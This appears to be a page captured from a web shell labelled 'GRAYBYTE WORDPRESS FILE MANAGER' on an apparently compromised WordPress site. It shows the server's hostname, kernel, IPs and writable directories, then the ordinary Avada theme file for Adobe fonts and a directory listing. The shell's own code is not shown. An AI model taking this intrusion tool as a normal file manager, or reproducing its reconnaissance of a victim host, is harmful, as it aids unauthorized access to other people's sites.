✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/cache-state/includes//class-awb-adobe-typography.php
<?php
/**
 * Adobe Typography handling.
 *
 * @author     ThemeFusion
 * @copyright  (c) Copyright by ThemeFusion
 * @link       https://avada.com
 * @package    Avada
 * @since      7.7
 */

/**
 * Adobe Typography.
 *
 * @since 7.6
 */
class AWB_Adobe_Typography {

	/**
	 * The one, true instance of this object.
	 *
	 * @since 7.7
	 * @var AWB_Adobe_Typography|null
	 */
	private static $instance;

	/**
	 * Creates or returns an instance of this class.
	 *
	 * @since 7.7
	 * @return AWB_Adobe_Typography
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new AWB_Adobe_Typography();
		}
		return self::$instance;
	}

	/**
	 * The class constructor
	 *
	 * @access public
	 */
	public function __construct() {
		add_filter( 'pre_update_option_fusion_options', __CLASS__ . '::refresh_adobe_fonts_on_option_update', 10, 2 );
		add_action( 'wp_enqueue_scripts', __CLASS__ . '::enqueue_adobe_fonts' );
		add_action( 'wp_ajax_fusion_reset_avada_fonts_cache', __CLASS__ . '::ajax_refresh_cache' );
	}

	/**
	 * Enqueue Adobe fonts if the ID is present.
	 *
	 * @return void
	 */
	public static function enqueue_adobe_fonts() {
		$all_options = get_option( 'fusion_options' );
		if ( ! is_array( $all_options ) || empty( $all_options['adobe_fonts_id'] ) ) {
			return;
		}
		$id = $all_options['adobe_fonts_id'];

		wp_enqueue_style( 'awb-adobe-external-style', self::get_adobe_fonts_url_from_id( $id ), [], AVADA_VERSION, 'all' );
	}

	/**
	 * Check if on option update, the Adobe Fonts needs to be refreshed, and refresh if necessary.
	 *
	 * @param array $new_settings The new settings.
	 * @param array $old_settings The old settings.
	 * @return array
	 */
	public static function refresh_adobe_fonts_on_option_update( $new_settings, $old_settings ) {
		if ( ! isset( $new_settings['adobe_fonts_id'] ) ) {
			self::update_adobe_fonts_data( '' );
			return $new_settings;
		}

		if ( ! isset( $old_settings['adobe_fonts_id'] ) ) {
			self::update_adobe_fonts_data( $new_settings['adobe_fonts_id'] );
			return $new_settings;
		}

		if ( $old_settings['adobe_fonts_id'] !== $new_settings['adobe_fonts_id'] ) {
			self::update_adobe_fonts_data( $new_settings['adobe_fonts_id'] );
			return $new_settings;
		}

		return $new_settings;
	}

	/**
	 * Refresh the Adobe Fonts cache via ajax request.
	 *
	 * @return void
	 */
	public static function ajax_refresh_cache() {
		$fusion_options = get_option( 'fusion_options', [] );

		$id = '';
		if ( isset( $fusion_options['adobe_fonts_id'] ) && is_string( $fusion_options['adobe_fonts_id'] ) ) {
			$id = $fusion_options['adobe_fonts_id'];
		}

		self::update_adobe_fonts_data( $id );
		die();
	}

	/**
	 * Updates the font names into an option array.
	 *
	 * @param string $id Id of the project.
	 * @return void
	 */
	public static function update_adobe_fonts_data( $id ) {
		// Holds all the fonts names and variants.
		$adobe_option_name = 'avada_adobe_fonts';
		// True if the fonts parsing was unsuccessful.
		$adobe_error_option_name = 'avada_adobe_fonts_error';
		// Used to prevent cache when an Adobe(TypeKit) css file is refreshed.
		$adobe_refresh_time = 'avada_adobe_fonts_refresh_time';

		// Empty value or no value.
		if ( ! $id ) {
			delete_option( $adobe_option_name );
			delete_option( $adobe_refresh_time );
			delete_option( $adobe_error_option_name );
			return;
		}

		$link = self::get_adobe_fonts_url_from_id( $id );

		// Get the CSS file from remote.
		$response = wp_remote_get( $link, [ 'timeout' => 10 ] );
		if ( is_wp_error( $response ) ) {
			// Note: no option name update here. If it fails because of timeout or link doesn't work for the moment, at least front-end fonts will work good.
			update_option( $adobe_error_option_name, true );
			update_option( $adobe_refresh_time, time() );
			return;
		}
		$css_contents = wp_remote_retrieve_body( $response );
		if ( ! is_string( $css_contents ) ) {
			update_option( $adobe_option_name, [] );
			update_option( $adobe_refresh_time, time() );
			update_option( $adobe_error_option_name, true );
			return;
		}

		update_option( $adobe_option_name, self::get_adobe_fonts_from_css( $css_contents ) );
		update_option( $adobe_refresh_time, time() );
		update_option( $adobe_error_option_name, false );
	}

	/**
	 * Get the Adobe Url from ID.
	 *
	 * @param string $id The ID.
	 * @param bool   $append_time Whether to append time or not to prevent cache.
	 * @return string
	 */
	public static function get_adobe_fonts_url_from_id( $id, $append_time = true ) {
		$link = 'https://use.typekit.net/' . $id . '.css';
		if ( $append_time ) {
			$time  = get_option( 'avada_adobe_fonts_refresh_time', time() );
			$link .= '?timestamp=' . $time;
		}

		return $link;
	}

	/**
	 * Get the Adobe Fonts with their variants in an associative array.
	 *
	 * @param string $css_contents The css contents of the adobe file.
	 * @return array
	 */
	public static function get_adobe_fonts_from_css( $css_contents ) {
		$font_data             = [];
		$variants_translations = Fusion_App()->get_variants_translations();

		$font_faces_regex = '/@font-face\s*{[^}]*}/s';
		preg_match_all( $font_faces_regex, $css_contents, $font_faces );

		if ( ! isset( $font_faces, $font_faces[0] ) ) {
			return $font_data;
		}
		$font_faces = $font_faces[0];

		// Construct the font data.
		foreach ( $font_faces as $font_face ) {
			$font_info_regex = '/font-family:([^,;]*)[^;]*;.*?font-style:([^;]*);.*?font-weight:([^;]*);/s';
			$matches         = preg_match( $font_info_regex, $font_face, $font_info_matches );

			if ( ! $matches ) {
				continue;
			}

			$family_slug   = $font_info_matches[1];
			$family_style  = $font_info_matches[2];
			$family_weight = $font_info_matches[3];

			// Remove spaces and quotes before and after.
			$family_slug = preg_replace( '/^\s*[\'\"]?/', '', $family_slug );
			$family_slug = preg_replace( '/[\'\"]?\s*$/', '', $family_slug );
			$variant_id  = $family_weight . ( 'normal' === $family_style ? '' : $family_style );

			// Special case.
			if ( '400italic' === $variant_id ) {
				$variant_id = 'italic';
			}

			$variant_label = ( isset( $variants_translations[ $variant_id ] ) ? $variants_translations[ $variant_id ] : $variant_id );

			if ( ! is_string( $family_slug ) ) {
				continue;
			}

			if ( isset( $font_data[ $family_slug ] ) && is_array( $font_data[ $family_slug ]['variants'] ) ) {
				$variant_to_add                                       = [
					'id'    => $variant_id,
					'label' => $variant_label,
				];
				$font_data[ $family_slug ]['variants'][ $variant_id ] = $variant_to_add;
			} else {
				$font_data[ $family_slug ] = [
					'label'     => ucwords( str_replace( '-', ' ', $family_slug ) ),
					'font_slug' => $family_slug,
					'variants'  => [
						$variant_id => [
							'id'    => $variant_id,
							'label' => $variant_label,
						],
					],
				];
			}
		}

		// Order the variants.
		foreach ( $font_data as $font_id => $font ) {
			$variants_ordered = [];

			// Order by variants translations key.
			foreach ( array_keys( $variants_translations ) as $variant_id ) {
				if ( isset( $font['variants'][ $variant_id ] ) ) {
					$variants_ordered[ $variant_id ] = $font['variants'][ $variant_id ];
				}
			}

			// Append other variants at the end, to not forgot them if a variant id doesn't have translation.
			foreach ( $font['variants'] as $variant_id => $variant_data ) {
				if ( ! isset( $variants_ordered[ $variant_id ] ) ) {
					$variants_ordered[ $variant_id ] = $font['variants'][ $variant_id ];
				}
			}

			$font_data[ $font_id ]['variants'] = array_values( $variants_ordered );
		}

		return $font_data;
	}

	/**
	 * Check if a font-family is an Adobe Font.
	 *
	 * @param string $font_family The font family id.
	 * @return bool
	 */
	public static function is_adobe_font( $font_family ) {
		$adobe_fonts = get_option( 'avada_adobe_fonts', [] );
		if ( is_array( $adobe_fonts ) && isset( $adobe_fonts[ $font_family ] ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Get the display name of the Adobe Font.
	 *
	 * @param string $font_family The font family id.
	 * @return string
	 */
	public static function get_adobe_display_name( $font_family ) {
		$adobe_fonts = get_option( 'avada_adobe_fonts', [] );
		if ( is_array( $adobe_fonts ) && isset( $adobe_fonts[ $font_family ] ) ) {
			return $adobe_fonts[ $font_family ]['label'];
		}

		return $font_family;
	}

	/**
	 * Gets a basic html for displaying included adobe fonts.
	 *
	 * @return string
	 */
	public static function get_adobe_included_fonts_display_html() {
		$fonts_data = get_option( 'avada_adobe_fonts', [] );

		if ( ! is_array( $fonts_data ) || empty( $fonts_data ) ) {
			return '<p>' . esc_html__( 'No Adobe Fonts detected.', 'Avada' ) . '</p>';
		}

		$html = '<p><strong>' . esc_html__( 'Adobe Fonts detected:', 'Avada' ) . '</strong></p>';
		foreach ( $fonts_data as $font ) {
			$html .= '<p><strong>' . $font['label'] . ':</strong> ';

			foreach ( $font['variants'] as $key => $variant ) {
				$html .= $variant['label'];

				if ( array_key_last( $font['variants'] ) !== $key ) {
					$html .= ', ';
				} else {
					$html .= '.';
				}
			}

			$html .= '</p>';
		}

		return $html;
	}
}

/**
 * Instantiates the AWB_Adobe_Typography class.
 * Make sure the class is properly set-up.
 *
 * @since 7.7
 * @return AWB_Adobe_Typography
 */
function AWB_Adobe_Typography() { // phpcs:ignore WordPress.NamingConventions
	return AWB_Adobe_Typography::get_instance();
}
AWB_Adobe_Typography();


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
26 Sep 2026 8.08 PM
docteuh / users
0755
cli
--
11 Sep 2026 9.32 AM
docteuh / users
0755
lib
--
26 Sep 2026 4.01 PM
docteuh / users
0755
metaboxes
--
26 Sep 2026 9.36 PM
docteuh / users
0755
options
--
11 Sep 2026 9.32 AM
docteuh / users
0755
plugins
--
11 Sep 2026 9.32 AM
docteuh / users
0755
upgrade
--
11 Sep 2026 9.32 AM
docteuh / users
0755
avada-functions.php
74.62 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
avada-tgm.php
7.404 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
bootstrap-compat.php
2.836 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
bootstrap.php
23.922 KB
20 Nov 2023 7.14 PM
docteuh / users
0644
class-avada-admin-bar.php
6.119 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-admin-notices.php
3.173 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-admin.php
67.267 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-autoload.php
7.125 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-avadaredux-migration.php
53.218 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-avadaredux-no-init.php
1.265 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-avadaredux.php
13.874 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-block-editor.php
20.307 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-blog.php
6.99 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-dynamic-css.php
3.114 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-eventscalendar.php
18.39 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-fonts.php
1.444 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-google-fonts.php
16.682 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-googlemap.php
16.813 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-gravity-forms-tags-merger.php
8.659 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-head.php
9.167 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-helper.php
7.498 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-images.php
11.355 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-init.php
22 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-layout-bbpress.php
10.293 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-layout.php
8.679 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-maintenance.php
2.125 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-megamenu-framework.php
52.736 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-megamenu.php
7.557 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-migrate.php
18.71 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-multiple-featured-images.php
1.479 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-nav-walker-megamenu.php
13.034 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-options.php
5.677 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-output-callbacks.php
1.479 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-page-options.php
13.035 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-partial-refresh-callbacks.php
5.905 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-portfolio.php
1.789 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-privacy-embeds.php
29.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-pwa.php
10.102 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-remote-installer.php
1.783 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-scripts.php
57.458 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-sermon-manager.php
4.822 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-server-rules.php
10.008 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-slider-revolution.php
7.707 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-system-status.php
5.192 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-taxonomy-meta.php
39.947 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-template.php
20.552 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-tgm-plugin-activation.php
123.496 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-upgrade.php
13.617 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-woocommerce-variations.php
20.62 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada-woocommerce.php
67.586 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-avada.php
16.157 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-adobe-typography.php
9.316 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-global-colors.php
9.657 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-global-typography.php
15.848 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-maintenance-mode.php
12.025 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-performance-wizard.php
74.49 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-prebuilt-websites.php
6.711 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-awb-site-data.php
19.308 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-demos-theme-options.php
3.191 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-filters.php
5.037 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-migrate.php
100.14 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-builder-redux-options.php
4.736 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-deprecate-pyre-po.php
11.193 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-dynamic-css-from-options.php
22.12 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-image-resizer.php
7.556 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
class-fusion-languages-updater-api.php
6.365 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
custom-functions.php
16.814 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
deprecated.php
11.938 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
dynamic-css-helpers.php
21.163 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
dynamic-css.php
11.113 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fusion-functions.php
9.768 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fusion-shared-options.php
32.34 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager-20260831101032.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
wc-functions.php
2.654 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF